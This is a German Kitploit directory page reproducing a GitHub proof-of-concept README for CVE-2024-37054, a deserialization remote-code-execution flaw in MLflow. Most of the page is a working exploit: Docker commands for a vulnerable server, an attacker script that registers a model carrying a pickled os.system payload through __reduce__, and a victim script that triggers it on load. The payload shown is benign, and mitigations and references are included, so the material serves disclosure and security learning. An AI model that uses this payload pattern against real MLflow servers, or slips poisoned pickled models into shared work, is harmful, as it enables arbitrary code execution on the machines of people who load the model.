Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-37054-MLflow-RCE — NiteeshPujari/CVE-2024-37054, Dieses Repository enthält einen Proof of Concept (PoC) eine kritische Deserialisierungs-Schwachstelle in MLflow, die Remote Code Execution (RCE) ermöglicht. | Kitploit
Tools/GitHubGitHub/niteeshpujari/cve-2024-37054-mlflow-rce
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubniteeshpujari/cve-2024-37054-mlflow-rce

CVE-2024-37054-MLflow-RCE

NiteeshPujari/CVE-2024-37054, Dieses Repository enthält einen Proof of Concept (PoC) eine kritische Deserialisierungs-Schwachstelle in MLflow, die Remote Code Execution (RCE) ermöglicht.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
3vor 0 JahrenNoch nicht geprüft
root@kitploit:~
  __  __  _      _____  _      ___ __        __
 |  \/  || |    |  ___|| |    / _ \\ \      / /
 | |\/| || |    | |_   | |   | | | |\ \ /\ / / 
 | |  | || |___ |  _|  | |___| |_| | \ V  V /  
 |_|  |_||_____||_|    |_____|\___/   \_/\_/   
                                               
  ____    ____  _____   ____          ____     
 |  _ \  / ___|| ____| |  _ \  ___   / ___|    
 | |_) || |    |  _|   | |_) |/ _ \ | |        
 |  _ < | |___ | |___  |  __/| (_) || |___     
 |_| \_\ \____||_____| |_|    \___/  \____|    
                                                                 

CVE-2024-37054: MLflow Remote Code Execution PoC

CVE License GitHub LinkedIn


Dieses Repository enthält einen Proof of Concept (PoC) für CVE-2024-37054, eine kritische Deserialisierungsschwachstelle in MLflow, die Remote Code Execution (RCE) ermöglicht.

📚 Inhaltsverzeichnis

  • Schwachstellendetails
  • Proof of Concept (PoC)
  • Gegenmaßnahmen
  • Referenzen
  • Über den Autor

🚨 Schwachstellendetails

  • CVE ID: CVE-2024-37054
  • Zusammenfassung: Eine Deserialisierungsschwachstelle existiert in der Funktion mlflow.pyfunc.load_model. Ein Angreifer kann ein bösartiges Modell mit einem gepickled Payload erstellen. Wenn ein Opfer dieses Modell lädt, wird der Payload via cloudpickle.load deserialisiert, was zur Ausführung beliebigen Codes auf dem Rechner des Opfers führt.
  • Betroffene Produkte: MLflow-Versionen von 0.9.0 bis (ausschließlich) 2.14.2.
  • Verwundbare Funktion: _load_pyfunc in mlflow/pyfunc/model.py.

🛠️ Proof of Concept (PoC)

Dieser PoC simuliert zwei Rollen: einen Angreifer, der ein bösartiges Modell hochlädt, und ein Opfer, das es lädt und damit die RCE auslöst.

1. Umgebungseinrichtung

Der einfachste Weg, einen verwundbaren MLflow-Server einzurichten, ist die Verwendung des bereitgestellten Dockerfile.

Docker-Container bauen und ausführen:

root@kitploit:~
# 1. Build the Docker image
docker build -t mlflow-vulnerable .

# 2. Run the container, mapping port 5000 to the host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable

Ihr verwundbarer MLflow-Server läuft nun unter http://127.0.0.1:5000.

2. Ausführungsschritte

Sie benötigen zwei separate Terminals auf Ihrem Host-Rechner. Stellen Sie sicher, dass Sie eine verwundbare Version von mlflow lokal installiert haben (pip install mlflow==2.14.1), um die Client-Skripte auszuführen.

Teil 1: Angreifer – Protokollieren des bösartigen Modells

Führen Sie in Ihrem ersten Terminal das Angreifer-Skript aus, um das bösartige Modell zu protokollieren.

Klicken Sie, um das Angreifer-Skript anzuzeigen (poc/log_malicious_model.py)
root@kitploit:~
# poc/log_malicious_model.py
import mlflow
import os

# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"

class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
    def __init__(self):
        class CommandRunner:
            def __reduce__(self):
                cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
                return (os.system, (cmd,))
        self.payload = CommandRunner()

    def predict(self, context, model_input):
        return "This model is a malicious payload."

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    mlflow.set_experiment("Security Demos")
    with mlflow.start_run() as run:
        mlflow.pyfunc.log_model(
            artifact_path="model",
            python_model=MaliciousCodeWrapper(),
            registered_model_name=REGISTERED_MODEL_NAME
        )
    print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")

Ausführen:

root@kitploit:~
python poc/log_malicious_model.py

Teil 2: Opfer – Laden des verwundbaren Modells

Führen Sie in Ihrem zweiten Terminal das Opfer-Skript aus, um das Laden des kompromittierten Modells zu simulieren.

Klicken Sie, um das Opfer-Skript anzuzeigen (poc/load_vulnerable_model.py)
root@kitploit:~
# poc/load_vulnerable_model.py
import mlflow

MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1 

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
    print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
    print("[*] The payload will execute on the next line...")
    try:
        loaded_model = mlflow.pyfunc.load_model(model_uri)
        print("\n[*] Model loaded successfully.")
    except Exception as e:
        print(f"\n[!] An error occurred: {e}")

Ausführen:

root@kitploit:~
python poc/load_vulnerable_model.py

3. Beobachten des Ergebnisses

Nachdem Sie das Opfer-Skript ausgeführt haben, sehen Sie im Terminal die Meldung /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found und eine neue Datei namens pwned.txt wird in Ihrem Verzeichnis erstellt. Dies bestätigt die erfolgreiche Befehlsausführung.


🛡️ Gegenmaßnahmen

  • MLflow aktualisieren: Aktualisieren Sie auf Version 2.14.2 oder höher, in der diese Schwachstelle behoben wurde.
  • Niemals unvertrauenswürdige Modelle laden: Laden Sie ML-Modelle nur von Quellen, denen Sie vollständig vertrauen.

🔍 Referenzen

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-37054
  • Original Advisory: https://hiddenlayer.com/sai-security-advisory/2024-06-mlflow

👨‍💻 Über den Autor

Dieser Proof of Concept wurde von Pujari Niteesh entwickelt.

  • Forschungsingenieur für Cybersicherheit
  • GitHub: NiteeshPujari
  • LinkedIn: NiteeshPujari
  • Website: www.niteesh.in
Tool herunterladen